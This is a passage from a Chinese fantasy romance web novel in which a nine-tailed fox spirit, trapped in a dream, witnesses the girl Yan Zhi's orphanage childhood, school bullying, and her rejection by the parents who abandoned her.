此时,被他们谈论的主角就坐在不远处的儿童椅上,穿着黑色短袖,扎着马尾辫,看样子和他们年龄相仿,侧对着两人,正一心一意地用掉了色漆的积木在小方桌上搭城堡,好像没听见两人说的话。
对方年纪虽小,但周身散发着生人勿近的气息。
纪绥双手抱臂站在一旁,靠着门口,神情有点困顿,打了个哈欠,不知道这些小孩在搞什么。
从醒来后就发现被困在这个陌生的地方,看到了这一幕。
虽然看不懂这些人的装束,屋子里的摆设也很奇怪,和他之前的房屋摆设完全两模两样。
但那个女孩,好像被讨厌了。
有意思,九尾狐嘴角扯出一抹恶劣的笑,继续倚着门框观察静观其变。
粉衣小女孩纠结了一会,漫长得像是做了人生中一个无比重大的决定,又对小男孩说道:“你帮我这个忙。作为交换,这个棒棒糖给你。”边说着从兜里掏出一根包装精美的樱桃味棒棒糖。
看着最新口味的棒棒糖,灰衣小男孩吞了吞口水,艰难地思考片刻,终于在棒棒糖的诱惑下妥协:“好吧,就帮你这一次。”
说着,接过女孩手里的红色皮球,走到离黑衣服女孩三米的时候,直接抬手将皮球扔了过去,大喊道:“喂,丑八怪,接着。”
红色皮球并未如他所愿在地上滚动,反而砸到小女孩的肩膀后滚到桌子上,刚搭建的积木城堡倏地倒塌。耸立的积木噼哩哗啦洒落一地,惊得椅子上的小女孩瞬间站了起来。
她回过身,一双眼睛散发着冷意。
五官并未像她们说的那样丑陋,反而长相清冷,有一种锐利的美,只是右眼上方额头处有一块淡青色的不规则胎记。
看到好不容易堆好的城堡倒塌,小女孩没有说话,也没有哭泣。
捡起红色皮球就向小男孩回砸过去,她又蹲下身,开始一块一块地捡地上散落的积木。
看到转过身的小女孩,纪绥瞳孔些微放大,略感惊讶。
这是?缩小版的颜芷?
被砸到腿,小男孩立刻哇哇大哭起来。粉衣小女孩似乎没有预料到事情会发展成这样,站在一旁不知所措。
吵死了,纪绥想施展妖力将对方声音屏蔽掉,发现掌心只能蹿出一点银白色的气流,但因为用力变得半透明。
似乎能力不能在这里动用,他刚意外于这个发现,就听到由远及近的踏踏脚步声。
一个带着黑框眼镜,穿着黑色套装的中年女人面色焦急地朝他奔来,纪绥皱眉,刚想避开,发现这人竟直接从他身上穿过,简直如同修习了穿墙之术。
怎么回事?难道看不见他?
对方急匆匆地跑进教室,神情慌张。
“怎么了?”
环顾了一圈教室,中年女人半蹲着喘了口气,抬手扶了下歪到一边的黑框眼镜,俯下身看向哇哇大哭的小男孩。
“院长,我好心给她皮球,她却砸我。”
见到撑腰的来了,灰衣小男孩哭得更起劲了,一边擦眼泪一边抽抽搭搭地说。
“好了好了,别哭了。”被叫做院长的中年女人拍了下小男孩的背,又看了下一旁专心致志搭积木,丝毫不受影响的黑衣小女孩,低声让粉衣小姑娘把小男孩带出教室,自己向搭积木的黑衣小女孩走去。
“小芷”,乔院长轻轻在手工桌旁蹲下,看着她的眼睛,“告诉院长妈妈,是不喜欢那个红色皮球吗?为什么不和他们一起玩呀?”
小女孩边搭积木边回答:“不需要。正好我也不想和他们一起玩。”
诶,这孩子,八成是又被排挤了。看到她肩膀上的灰色印记,乔院长明白了什么。
心疼地拍掉她衣服上的灰印,乔院长再次温柔开口:“您想要什么?那我给你换个新礼物?今天是你的生日,我都满足你。”
听到这句话,小女孩停下了手中的动作,小声开口道:“我想要爸爸妈妈。”
黑白分明的眼珠盯着她,里面充满渴望和期待。
这孩子,只有在说起这个的时候,眼里才有光。
小孩子的世界就是很单纯,可......
乔院长愣了一会,眼神中带着复杂,伸手摸着颜芷的头,肯定道:“现在爸爸妈妈因为很重要的事来不了,只要你乖乖听话,好好吃饭长大,等到18岁,他们之后就会来接你。”
听到肯定回答,颜芷激动地点头:“院长妈妈,我会乖乖听话的。”灿烂的笑容绽开又收住,想到了什么,她小声开口解释:“对不起,院长妈妈。他刚才骂我是丑八怪,我才反击的。”
听闻这番话,乔桥默默地抱住她,右掌轻轻抚摸她的头:“颜芷,不要在乎他们说的话。他们说的不对。”
怀里的小女孩继续低声喃喃道:“我一点也不丑,就像您说的,胎记是爸爸妈妈怕找不到我,给我的礼物,对不对?’’
一大一小抱在一起,在空旷的教室里,外面乌云低垂,为这一切镀上淡灰色调,像一幅静默的风景画。
目睹到这一切的纪绥站在一侧,有些愣神,想说什么却开不了口。
片刻后,才轻轻地自言自语道:“好啊,我现在也知道你的秘密了。”
*
他只是小憩片刻,醒来发现所处的场景又发生了变化,自己在一棵郁郁葱葱的高树之下。
远方落日低垂。
写着“阳光福利院”的大门标语旁,车来车往,过往的人三五成群,夫妻有很多,办好领养手续高高兴兴牵着小孩离开了。
又是一次领养日,好多孩子都被领养走了。
七岁的颜芷一个人站在角落里,神情有些落寞。
她之前总觉得只是父母有什么重要的事情逼不得已把她放在福利院,但一年又一年,熟悉的小伙伴都走了,她还是留在这里。
院长妈妈告诉她,爸爸妈妈去了很远很远的地方。
爸爸妈妈很爱她,但是因为某些原因去了很远很远的地方。她现在还不能去。
现在才知道,那个地方叫死亡。
颜芷垂眸看着身上的黑色小裙子,揪住衣角反复摩挲,院长妈妈说今天要打扮得漂漂亮亮的,这样别人才能注意到她。
可她不想被接走。
自己一个人也可以过得很好,现在只是年纪太小,有些事自己办不了。
而且,她也不想离开乔妈妈,正好在福利院还可以给乔妈妈帮忙。
小女孩坐在草地上,双手抱膝,将自己缩成一团,叹了口气。只有独处的时候,她才能收起平时的小大人扮相,露出脆弱的孩子模样。
纪绥在她旁边盘腿坐下,一双大长腿微曲,显得有些滑稽,也轻轻叹了口气。
西边的太阳渐渐落了下去。
回宿舍的路上,路过墙角时候,颜芷发现了一只灰扑扑的兔子玩偶,颇为意外地扬起眉头,将它捡起。
这大概是被哪个小朋友不小心掉的吧?应该不是被故意丢掉的?
嗯,是长得很丑。她捡起来感叹道,长长的耳朵,圆圆的脑袋,两只黑色衣扣做成的眼睛,三角嘴巴咧出大大的微笑,整体缝补位置有些歪歪扭扭,身子鼓鼓的塞满了棉花,脸上还有歪七扭八的灰色脚印。
不过触感不错,摸起来毛绒绒的,是刚好可以抱在怀里的大小。
“小兔子,你被抛弃了吗?我带你回去洗个澡,再把你送回来好不好?”颜芷自言自语道。
带走兔子玩偶,她在水房把接好水,仔细给这只小兔子打上肥皂。翻来覆去搓了三四遍,终于露出原本的模样,是白色的,像白云一样的白。
做好这一切,颜芷把阳光晒得暖烘烘的小兔子玩偶交给院长,希望能找到失主。
听到她这一番话,院长笑着摸了摸她的头,答应下来。
看着这个被洗得发白的兔子,颜芷露出了真心实意的笑容,八颗牙齿亮闪闪,笑得眯起了眼。
真奇怪,这种小事有什么好高兴的。
而且,他有什么好值得高兴的?
感觉到心脏前所未有的跳动,纪绥捂住胸口,勾起嘴角嘲讽自己。
小兔子就放在保安室显眼的位置,一天,两天,三天......一个月,颜芷每天路过都看一
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遍,那只兔子还是安安静静呆在那里,无人问津。
“好吧,小兔子,你只有我了。”再次得到保安大叔没人来取的不耐烦回复,颜芷小心翼翼取下小兔子,把它抱在怀里。
向宿舍走去,她微长的马尾摇摆,一只粉色塑料发卡落了下来。
“喂,你东西掉了。”他想搭上颜芷的肩,发现直接从她身上穿过。
好吧?看来确实碰触不到别人。
接受了这个无可辨认的事实,来到这个完全陌生的世界,又因有木灵约在身,他只能跟着颜芷来回走动。
经过这几日的观察,他发现这个人虽然在他的世界里牙尖嘴利,寸毫不让,但在这里,通常都是默默无闻的,一个人来来去去自己做事,存在感极其微弱,安静得几乎让人发现不了本人的存在。
*
梦境跳转极快,很快到了她上中学的时期,十五六岁的少女年纪。
生性孤僻冷漠,颜芷没有什么知己朋友,独来独往上学吃饭。但是成绩极其优异,作为被学校看好的升学苗子,她被特许得到一个有保洁处改造的单人宿舍,虽然位置不好,在长长走廊的尽头。
到了晚上,九尾狐守候在宿舍门外,看着掌心的小簇银色气流慢慢燃起,越变越大,又簇地熄灭。
啊,真是在这个世界呆得太久了,九尾狐不由得打了个哈欠。
虽说在这里不用考虑尔虞我诈,人心算计,但相应地,他的灵力恢复也变慢了些。
蜘蛛妖的梦境只能重复当事人最痛苦的记忆,把人活活耗死在这里,不在他的记忆范围内,他无法改变什么。
因为这个木灵约,他又被迫和颜芷绑定在一起。
这样下去不是长久之策。他一代妖狐,难道会被困在梦境中死去?真是笑掉大牙。得想办法快点逃出去,或者引导入她死在这个梦境里,这样一来,不算违背约定,木灵约也解除了。
想到这里,纪绥嘴角微微勾起,泛起一个冷笑。
为了活,他谁都可以牺牲,何况一个和自己无关的异界人。
右掌按住左胸口,他的眉宇间有些不适。瞬间,变成了一只雪白的普通狐狸。
妖怪维持人形需要不少灵力。
在夜晚可以对月修炼,为了尽快恢复,现在还是化作狐形比较合适,一会儿,还是继续去树林里望月吧。
啪地一声,东西坠落在地的声响在深夜里格外分明,打断了他的思考。
发生什么了?有性命威胁?
条件反射地冲进宿舍,他急匆匆跑到颜芷面前,发现原来是一只掉落在地的兔子玩偶。
下铺床位的女孩双目紧闭,似乎在经历什么梦魇,冷汗直冒,一只胳膊虚虚地伸出来,在半空中不断挥舞,想要抓住什么。
什么啊?还以为是贼人袭击,纪绥扭头就想走。
不经意间,毛绒绒的尾巴不经意扫过女生的手指,带起些微痒意。
刚迈出一步,身体忽然悬空,被一把抱起的纪绥有些发愣,而后被强势地塞进一个暖和的地方,只听得熟悉的女声含含糊糊说道:“小兔子,怎么又把你掉在地上了,”说着狠狠揉了一下他毛绒绒的脑袋。
“乖,陪我睡觉。”咕哝完一句后,颜芷又沉沉进入梦乡。
留下不知所措的纪绥在风中凌乱。
他刚才,是被这个女子调戏了吗?
是吧?
算是吧?
没想到自己堂堂大宴朝世子,妖狐九尾,居然落得被人类当成入眠玩偶的下场。
岂有此理,成何体统?
想到这里,纪绥狠狠挣扎起来,狐形四肢不断扭动,想要摆脱女子的禁锢,没想到越挣扎被抱得越紧。
这女子好像天生要来和他作对似的,像一根烦人的树藤,紧紧勒住纪绥,让他动弹不得。
本来妖力恢复就缓慢,又因为跟着颜芷不眠不休的缘故,他的体力已经到了极限。
为什么她的生活节奏这么紧张?他一天到晚寸步不离地跟着她跑操、上早读、吃早饭、上课、课间操、上课、吃午饭、午休、上课、吃晚饭、晚自习、洗衣服、洗漱、写作业......
还是这个世界的读书人生活都这么累吗?
刚才经过这一番折腾,纪绥只觉得自己浑身乏累,竟也沉沉睡去。
15. 同床共枕
清晨,天色渐明。尖啸的起床铃响过后,砖红色宿舍楼的一排排房间陆陆续续亮起灯,像将醒的蜂巢。
声音渐渐嘈杂起来,其中不乏急促的脚步声和细微抱怨声。
醒来的纪绥盯着微微放松的爪子和凌乱的毛发,一脸难以置信。
倏尔又抬头,看了眼着急洗漱的颜芷,不敢相信自己昨天竟然和她同床共枕而眠了。
羞耻之情翻上心头,胃里涌动着从未有过的粘腻,颠来倒去,让他气得想要把眼前这个人类即刻抹杀。
因为还要上早读,被迫五点半早早醒来的颜芷顶着毛躁的头发,对着镜子半梦半醒地刷牙洗漱,眼神迷蒙。
根本看不到一只纯白色的狐狸在眼前张牙舞爪,到处蹦跶。
纪绥回头丧气地垂下尾巴,虽然因为梦境限制,她本来也看不到。
他已经试验过了,在这梦境里,只有晚上有月亮的时候自己才能变成实体,其他时候都是虚幻的人影。
尽快打扫好卫生,颜芷精神了一点,她只觉得昨晚的兔子玩偶手感格外舒适,抱起来十分好睡,连多日噩梦的痛苦也减轻了几许。
收拾好书包,关门前看到床上傻笑的兔子玩偶,不由得又回来伸手摸了下它的头,囔囔道:“谢谢你,小兔子,昨晚睡得不那么累了。”
随即关门离开。
听到这里,九尾狐简直想要喷出一口老血,恨不得以头抢地,被睡了还被当替身?
这等奇耻大辱!
床上的兔子玩偶依旧一动不动躺在那里,摆着一如既往有些滑稽的笑。
像在挑衅他。
于是嗖的一声窜上床,想要狠狠把兔子玩偶甩到地上。
刚要下嘴,露出锋利的獠牙时,一声关门的声响中断了纪绥的愤怒。
他赶忙追着颜芷离开。
*
课间时间,人影涌动,喧嚣声不断。
“喂,你让开一些。”
穿着蓝白校服的女生不怀好意的从站在饮水机前的颜芷旁边经过,不轻不重地撞了她一下。
刚接完水,颜芷还没有合上杯盖,滚烫的热水洒了出来。
准确无误地铺在她的手背上,白皙皮肤立刻泛起一片红。
她抿了下嘴,默默回到座位上,拿出纸巾擦去手上的水渍,又半低着头在桌柜找什么东西,后桌人窸窸窣窣的八卦声音传来。
“诗悦,这样不好吧?”
“别管,谁让周商跟她说话。丑小鸭也想变白天鹅?”
一张彩色纸页在颜芷翻找间掉落下来,是现在格外流行的颜文字体:
对爱情抱有希望的少女少男啊,你是否有在日思夜想,翻来覆去地思念一个人?
写你喜欢的人的名字,写三千遍,会有意想不到的奇迹出现。
你喜欢的人会出现在你面前哦~
又来了,八成是买哪本书送的广告。
面无表情把它夹到一本用完的教辅里,颜芷终于找到老旧的随身听。戴上耳机,周围的喧嚣声瞬间消失,她翻开一套新卷子开始练听力,清秀的字迹在纸张上不断扩大蔓延。
得按照计划把这周的卷子抓紧做完,这才是正经事,
对青春期这种因为异性争风吃醋无聊的小把戏实在不感兴趣,也懒得分出精力去搭理。
座位刚好在窗边,微风吹来,吹开了颜芷眼前厚厚的刘海,露出右额的青灰色胎记。
慌忙单手按住,环视四周发现无人看她,又继续写题。
半人半狐形的纪绥单手支着脑袋坐在窗外树上,看着她的动作,尾巴摇摆的动作暂停下来,漂亮的狐狸眼微微眯起。
为什么不像小时候那样报复回去,这不像她的作风啊?
难道是长大了,成熟了?
不过,她们提到的周商是谁?
两人又是什么关系?
事不宜迟。趁着颜芷上课,纪绥跑出去查探。
很快到了下午放学时间,今天是周五,明天上午大扫除后放假,端午节,恰好又是六一儿童节,开始要放三天小长假。
学校按照惯例把保管的手机交给住校生,方便假期联络。上完体育课的颜芷回来教室,发现手机上传来一条信息,眉头紧锁,和前桌商量着交换大扫除值日时间。
顾诗悦发现了她的异常,和她的小团体交头接耳商量了一会,心生一计。
*
“啪嗒。”
刚上完厕所,颜芷发现厕所门怎么也扭不开。
怎么回事?颜芷低头看了眼手机屏幕,显示七点,离预定回复的时间还有半个小时。
外面传来熟悉的女生嘲笑:“我早就告诉你不要和周商说话。但你非要出去和他约会,我也没有办法了。”
听到这帮人的猜测,颜芷又气又好笑,今天的事情很重要,她得赶快出去回复消息。
于是难得开口解释:“这是个误会,我的事和他无关。”
“再说,是他和我搭话的。”
就算他对自己有意思,她也表现出生人勿进,毫无心思的态度。
公事公办,怎么也和她无关。
周商是隔壁楼的尖子班学霸,颜芷和他同为化学老师的课代表,在交接老师布置的任务时,难免多说几句话。
可能被有心人看见了以讹传讹造谣了。
想到这里,颜芷又补充了句:“你有什么问题直接去问他,别来烦我。”
“你赶紧放我出去,我有急事。”
联系人说七点会准时给消息,她迫不及待的想知道事情进展如何。
似乎这句话戳中了外面女生的心思,片刻沉默后,颜芷没有听到对方答话,反而一盆冷水凌空兜头浇下,浇得她措手不及。
浑身湿透,颜芷不禁打了个哆嗦,没想到会发生这一幕,本来就被耽误时间了,又来这一茬。
虽说多一事不如少一事。
但对方已经把事情做到了这个地步,她松了松手腕,不再忍让,脱下外面校服垫着,够着高高的厕所隔门爬了出来。
看着对方满头湿发地从厕所隔间跳了出来,顾诗悦张大嘴巴,面露惊讶。
说实话,对方穿着白衬衫,披头散发的样子真的有些像校园传说-厕所女鬼。
想起恐怖片的场景,顾诗悦不由得后退了几步。刚才急火攻心,恼羞成怒,让小姐妹去水房接了盆冷水,悄悄端着从厕所隔间兜头泼下,想关她一夜的,谁知道对方竟然动作这么快?
被挑衅半天的颜芷满不在意的撸起袖子,向顾诗悦和她的小姐妹慢慢悠悠走去:“我真的忍你们很久了。”
“是不是老虎不发威,就当我是病猫啊?”
*
那边,纪绥特意放出狐狸耳朵眼观六路,耳听八方,打听了半天,发现她们口中的周商只是一个平平无奇的高中生,嗯,按照人类的审美标准来看,算的上清秀。成绩也算不错?
还有约了颜芷几次图书馆学习被拒绝,打听这个消息,他才放心下来。
来不及辨别心头窜出的不适感缘何而来。
急匆匆赶回来,九尾狐发现颜芷已不在班级里,而一旁的厕所水房传出淡淡的血腥味。
是他熟悉的味道。
纪绥心下一凛,凉意从尾椎骨蔓延上来,向着气味来源处奔去。
刚一进门,看到颜芷单方面压制了两个女生,双方身上都有淤青,血腥味正是颜芷胳膊上的伤口散发出来的。
他定睛一看,上面有道轻微擦伤。
她头发凌乱,胳膊上有几道指甲留下的印子,衣服袖子也被撕破半截,所幸没有什么大伤口。
对面的两个女生就不这么幸运了,鼻青脸肿的龇牙咧嘴在求饶。
怦怦乱跳的心脏放缓速度,纪绥长舒了口气,停下要出手的动作。
且不说他们同命相怜,虽说他和这个女人是死敌,但她如果就这样被别人欺负,岂不是显得他这个对手也很菜?
这时,教导主任赶了过来,看到三个人的样子,雷厉风行地将三人带到教导处。
“怎么回事?”教导主任把桌子拍得咚咚响,看着颜芷,这个被他寄予厚望的学霸苗子,脸上满是恨铁不成钢。
没想到平时看着文文静静的,
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也开始学坏跟人打架斗殴了。
颜芷擦去脸上的血迹,平静说道:“没什么老师。只是同学之间有些小摩擦。”
主任扶了下鼻梁上的眼镜,叹了口气。
这丫头,性格死倔死倔的,平时除了专注学习,对人际交往丝毫不在意。
虽然把心力用在学习上很好,但独来独往的,真怕她出什么问题。
见问三好学生问不出话,教导主任试探的目光转向顾诗悦和郭彩。
这两个小女生喜欢化妆打扮,学习吊车尾,但是家底丰厚有人托底,怎么也不像寻衅滋事的人。
虽然很想教训颜芷一番,但顾诗悦张了嘴半天,实在不好意思把打架的起因说出口。
父母对她学习不做要求,只要求她别叫家长,如果让爸妈知道就麻烦了。
想到这,她磕磕巴巴跟教导主任解释:“老师没事儿,我,我们就是不小心磕到了。”
一旁的郭彩点头如捣蒜,很认同她的话。
磕到能磕成这样子?当他三岁小孩儿?
看着这三人狡辩的样子,教导主任气不打一处来。
奈何厕所水房本就没有摄像头,当事人不说话,想知道原因也根本无从查起。
他扶着额头气了半天,对着三个人指指点点半天说不出话来,恶狠狠道:“你们三个!留下来各写五千字检讨。写不完不许回家!学校是学习的地方,不是来打架的斗兽场。”
反正今天也来不及了,颜芷交完检讨,一路踢着小石子,沐着月色。晃晃悠悠回到宿舍。
今天没心思吃饭,她倒在床上,死死盯着小灵通屏幕上的下午讯息:“你要的东西找到了。想知道就明天去海洋度假区春山庄28号查看。”
还附带一张七点发来的照片。
这是颜芷之前假期打工攒钱找的私家侦探,据说找人很准。
付了大价钱,花了一年时间,给了她这条信息。
其实她本来没抱希望的,但父母没死这个真相传来时,并没有预想之中的激动。
反而一种淡淡的不安在心尖萦绕不去,查探的一路艰难仿佛在警告她,停在这里就好。
再往前一步,就会踏入万劫不复的万丈深渊。
把手机扔到一边,颜芷猛地翻身将头埋在松软的被子里,就像小时候无数次那样。
只要当只把头埋进沙子里的鸵鸟,她就什么也看不到了。
一旁的九尾狐趴在窗边,看着她,尾巴低垂下来,像霜打了的茄子。
虽然看不见颜芷的脸,但纪绥本能地察觉到她很难过。
不适感再次涌起,如同汹涌无比的浪潮,一波又一波,没过他的心脏。
怎么回事?
这老树妖的诅咒还带共感的吗?
再度按住胸口,纪绥暗自催动灵力,想要把突如其来的不适感驱除掉。
衣服因为用力被抓握出褶皱,用功半天却无济于事。
看着伤心落寞的颜芷,九尾狐脑袋甩到一侧,别扭开口:“哼,不管怎样,你今晚不会来烦我了也算好事一桩。”
窗外乌云滚滚,雷声阵阵,老旧的宿舍窗户被摇得哗啦作响,要下暴雨的前兆。
没想到当晚,化作狐形的纪绥又被本梦半醒的颜芷抓进了被窝。
看着床头书桌,他无力望天,这梦境是由主人自主控制的,要逃脱没有之前想得那么轻巧容易。
窗外呼呼作响,雨水敲打窗户,本就对声音敏感,纪绥两只耳朵不住竖起探听。
毛茸茸的狐耳不时刮过女孩的下颌,颜芷感到有些微微发痒。
猝不及防又被揉了一把耳朵,身后怀抱更加用力,纪绥被搂得更紧,头顶的声音迷迷糊糊开口:‘‘小兔子,你的耳朵怎么什么时候变得这么短了......’’
又来!
纪绥气得火冒三丈。
是可忍,孰不可忍。
他得赶紧想办法执行那个计划,快点离开这里。
否则不被活活耗死,也得被这个女人活活气死在这里。
结果就是颜芷一夜好眠,纪绥无梦。
16. 最好的报复
第二天,颜芷不用值日,早早起床洗漱完毕,还罕见地贴了张补水面膜。
摸了摸不再干涩的脸部皮肤,颜芷舒了口气,又拿起面霜在脸上仔细涂抹。
如果可以,她想要尽量漂亮一点地出现。
按照私家侦探的说法,她的“父母”会在海边度假三天。
只要早点去那里,就能找到真相。
一般情绪激动的时候颜芷都吃不下饭,但为了保持体力,她还是硬塞了几口面包,背着书包坐上了清早开往海洋乐园的大巴车。
妖力恢复过半,纪绥趁机变小钻进颜芷的书包里,通过这些天的调养,他已经可以控制身形和隐藏自己。
没准这次就是终结这个梦境的最佳时机。
海洋乐园距离银海市两个半小时车程,中间还有些山路颇不好走,书包里面不知道塞了什么,鼓鼓囊囊的十分暖和。
像是毛线团,九尾狐起初还睁着眼,之后半眯着眼在一路颠簸中沉沉睡去。
再度醒来时,发现书包被扔在金黄色的海滩上,这里人潮汹涌,人头攒动,周围到处都是衣着暴露的人类,在烈日下嬉戏打闹。
还有些男人光着上本身,挺着大肚腩走来走去。
他们怎么穿成这样?
该死,真是有伤风化,要是在大宴朝,都给抓起来穿衣服。
九尾狐一边抱怨着,一边半捂着眼睛搜寻跟丢的颜芷。
找到了,她在那里!
穿着粉色T恤,颜芷站在海边,身后海潮微微泛起,像是要将她淹没,而她一动不动,目光静静地盯着一处。
想要快速跑到她身边,可惜人太多,一不小心就会被挤来挤去。
过了好一会儿,隐藏住身形,拼命不做任何身体接触的狐狸才走到她身边方向。
但颜芷已经转移了地点,对着一个小女孩说话。在另一处浅滩区。
她微微弯下腰,静静看着哭闹不止的小妹妹,这个小女孩一身粉紫蕾丝公主裙,编得粗细均匀的小辫子,穿着尺寸适宜的沙滩鞋,上面还镶着水钻亮片。
“小妹妹,怎么啦?”
她轻声开口,边问边把一根彩色棒棒糖递给小女孩。
哭个不停的小女孩看到温柔的大姐姐,还有手中绚烂无比的棒棒糖,停止了哭泣,哽咽道:“谢...谢谢姐姐。我,我找不到爸爸妈妈了。”
“爸爸妈妈?”颜芷后知后觉反应过来,小女孩的模样和合照上的三人合影瞬间重叠。
这是她的妹妹。
妹妹在找爸爸妈妈。
她要带着妹妹去找爸爸妈妈。
她们一会儿就能和爸爸妈妈团聚了。
想到这里,颜芷温柔地牵起小妹妹的手,指着那边的小房子:“走,那边有广播室,姐姐带你去找爸爸妈妈。”
纪绥跟着她身后亦步亦趋,一言不发。
*
还没走到那里,颜芷就被一个妆容精致的女人撞了肩膀。
女人四十多岁,但是保养精致,戴着遮阳草帽,穿着米色波西米亚长裙,抓住小女孩的肩膀一脸焦急地左看右看,确认无误后紧紧抱住,语气中还有几分哭腔:“颜茜,告诉你不要乱跑,你不听,刚才快急坏妈妈了!要是被人贩子拐跑怎么办?”
这才注意到小女孩手里的棒棒糖,女人一把挥掉,语气严厉:“妈妈不是告诉你,不要乱吃陌生人给的东西吗?”
随后,她看向被撞到一旁的高中生,语气不善:“小姐,大白天的,你带着我孩子做什么?”
盯着面前女人,颜芷默不作声,将她的样子放在眼底细细描摹,眼睛像,嘴巴像,鼻子也像......
和自己长相有几分相似,但盯着她的眼里只有陌生和憎恨,心脏像是被狠狠拽住,又用力拧了一下。
微微弯腰,好像好久不犯的心脏病又快发作了,颜芷刚想开口解释,就被小女孩的声音打断。
知道自己做错了事,不再哭泣的小女孩露出甜甜的笑,抓住女人的手臂不停摇晃,撒娇道:“妈妈,小姐姐是好人。”
“你误会姐姐了,她是发现我迷路了,特意带我来找你们的。”
“她还给了我一根棒棒糖呢!”
意识到刚刚误会了这位女孩,女人脸上多云转晴,一脸歉意:“不好意思,最近坏人有点多,你不要见怪哈。”
“你救了我女儿,我给你些感谢金。”随着,她从挎包里拿出钱包,打开看到空空如也,脸上笑意尴尬的凝固住。
颜芷摆摆手表示不用,再次发问道,语气却有几分艰涩。
像是反复练习了一万遍,语气轻柔却掷地有声:‘‘你记不记得有个叫颜芷的女孩?’’
听到颜芷的问话,女人先是一瞬间的茫然,而后一脸震惊如遭雷劈.
看到女孩被海风吹起的额头和胎记,身子不自觉抖了抖:“不是,我从来不认识这个人。”
说完,她就不由分说用力拽着小女孩的手往前走,朝不远处的男人挥手:“老公,你有没有钱?我钱花完了。给这个帮助女儿的好心人一点补偿。”
穿着沙滩裤,带着墨镜的高大男人往这里赶,边走边往出拿钱包。
一定是很久没见了,妈妈不记得她。
没关系,这是正常的,爸爸会帮助记起的。颜芷努力挂起笑容,自我安慰道。
女人走到男人耳边窃窃私语几句,男人看着她,刚才还和善的眼神瞬间严肃起来。
看着男人走来的身影,颜芷破天荒地有些慌张。
不自觉地绞着手指,有些扭捏,好像是自己做了什么见不得人的事。
不能这样,要笑,颜芷拽平衣角。
对男人露出微笑,就像记忆中的那样。
一旁的纪绥看着她的动作,想说什么欲言又止。
三步,两步,一步。
终于走到她面前的中年男人掏出钱包,一脸严肃地数着手里的百元大钞,语气礼貌客气得像个陌生人:“小姐,我们不认识你。你一定认错人了。”
“感谢你救了我们女儿。这是给你的感谢金。”
做事彬彬有礼,却仿佛一字一句夹杂着利剑,将她本就千疮百孔的心脏射得遍体鳞伤。
很快数够了数,他一把将一叠钞票塞到颜芷手里,转身头也不回地离开了。
她呆呆站在原地,看着手里的一千元,再也按耐不住内心的压抑,看着还没走远的男人,向前跑了几步,大喊道:“我能问为什么吗?”
像是想起来什么,颤抖着右手指了指左心房的位置:“难道是因为我这颗心脏?”
刚走远没几步的男人背对着她,站定了一会,像一棵直立不倒的树,沉默的背影像是默认,又补充了说:“以后别再来打扰我们了。我们一家三口很不容易。”
颜芷呆愣愣地站在原地,面色一瞬间变得苍白,像是失了魂魄的精致人偶。
之前想着准备好的话术全部失效了。
其实她准备了很久。
她想过很多遍重逢的场面,在知道这个可能性的时候就在想了。
她想说,我们从此一家团圆了,未来
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每一天都一定会很幸福!
想说,没有你们在的日子里,我也在好好长大。
说,我想你们了!
想你们很久很久了。
书包里还放着从小到大的奖状、家庭涂鸦和手工品。
还有特意给他们织的手工围巾,一人一条。
原来,根本不用准备重逢的。
一切都是,她自导自演的独角戏。
是她的一厢情愿。
原来,她那么努力地活着,在他们眼里还是像一件有瑕疵的物件,即使做工再精致,也逃不过被抛弃的命运。
她就那么呆愣愣地站在那里,像一只孤零零的无线风筝,任意一阵风就能吹跑。
眼里不知进了什么东西,只觉得五脏六腑比黑气炙烤时还要难受。
难受千倍百倍。
纪绥再也看不下去了,想要化作人形,冲上去打这群狼心狗肺的人几拳。
可刺目光线之下,伸出去的手轻易穿过了男人的肩膀,男人却无知无觉,反而每多维持人形一分,他的灵力以肉眼可见的速度飞速倒退着。
九尾狐转头,想要找颜芷的背影。
人海茫茫,现在是下午,正是下海冲凉的时候。
海水里、海滩上、游乐区里都是人。
好安静,为什么这么静?
周围声音一度消失,纪绥只觉心跳如擂鼓,咚咚作响,像是下一秒要从嗓子眼里跳出来似的格外令人不安。
不行。
一定要找到她!
她不可能就这么消失。
过了好一会儿,气喘吁吁的纪绥才终于找到颜芷。
女生形单影只地坐在海滩边,屈起膝盖,把头埋在膝盖上,不知道在想些什么。
海风吹起她的粉色衣角,有些晃眼。
纪绥刚要迈步,就看到刚才的小女孩折返回来,手里拿着一个云朵形状的棉花糖,走近颜芷。
看到这一幕,他不由得顿住脚步。
小女孩怯生生地盯着这个刚才帮自己的好心大姐姐:“小姐姐,谢谢你,给你我刚买的棉花糖。”
她不会说,自己是背着父母偷偷跑过来的。
不知道这个小姐姐为什么哭,明明做了一件好事,应该高兴才对呀!她帮她找到了家人呀?
书上都是这样说的,做好事,心里会很高兴!
于是想办法安慰道:“大姐姐,心情不好的话,吃点甜的就好啦。我就是这样。”
每次她不开心时,就会吃糖。
感受到甜甜的滋味在嘴里化开,就什么烦恼都没了。
虽然妈妈怕她蛀牙,三番五次不让她吃。
少女抬起头,已是泪流满面。颜芷看着这个同父同母的妹妹,还是一无所知的天真,眼神茫然。
刚才还混沌着的意识渐渐回笼,头痛也好些了。
妹妹和她同父同母,却衣食无忧,过着和她天差地别的生活。
穿着最新版的公主裙,享受父母独一份宠爱。
可以想撒娇就撒娇,伤心难过也有人安慰。
冷不丁窜出一个邪恶的想法,在耳边狠狠叫嚣:“要是把她带走,那对夫妇的表情会怎么样?”
“他们还会装作什么也没发生吗?”
想到这里,她摇了摇头,拒绝小女孩的棉花糖,牵起她的手,朝着海滩的方向走去。
看到这一幕,纪绥心生快意,对啊,这样就好,伤害自己的要千倍百倍报复回来。
这是他们这类被抛弃的人最好的出路和报复。
17. 你不用放在心上
这报复,纪绥很久以前就想做了。
从得知真相的那一天起。
他一直都想不明白,阿娘为何要抛弃他。
当还是一只嗷嗷待哺的小狐崽的时候,就义无反顾地抛下自己独身离开。
明明说过只是出去一趟。
如果真的决心要走,为何还要弄伤它三条尾巴,让快速修炼的机会都不给他,让擅长拜月的狐族不能快速吸收月华。
到底是因为什么原因?
是他做错什么了吗?
那时候还小,每每醒来,就能看到阿娘一脸愁容,眼里是化不开的郁结。
仿佛他的出生自带罪孽。
其实,只需要再多一点时间,他也能成长起来,也会保护好阿娘的。
阿娘离开后,小白狐看着有些萎靡的尾巴睡不着觉,只会翻来覆去地想这个问题。
在劈头盖脸的冷雨中,缩在石洞中听凶兽吼叫瑟瑟发抖,在蜷起尾巴寻求温暖睡觉时,只要他不被饥饿感占据思考的情况下,都在想这件事。
刚开始,还抱着阿娘只是出去一趟,一定会回来的错觉。
毕竟,阿娘只给了他一个小字,连名字还没来得及给他取呢?
后来才意识到,没什么别的,只是被抛弃了。
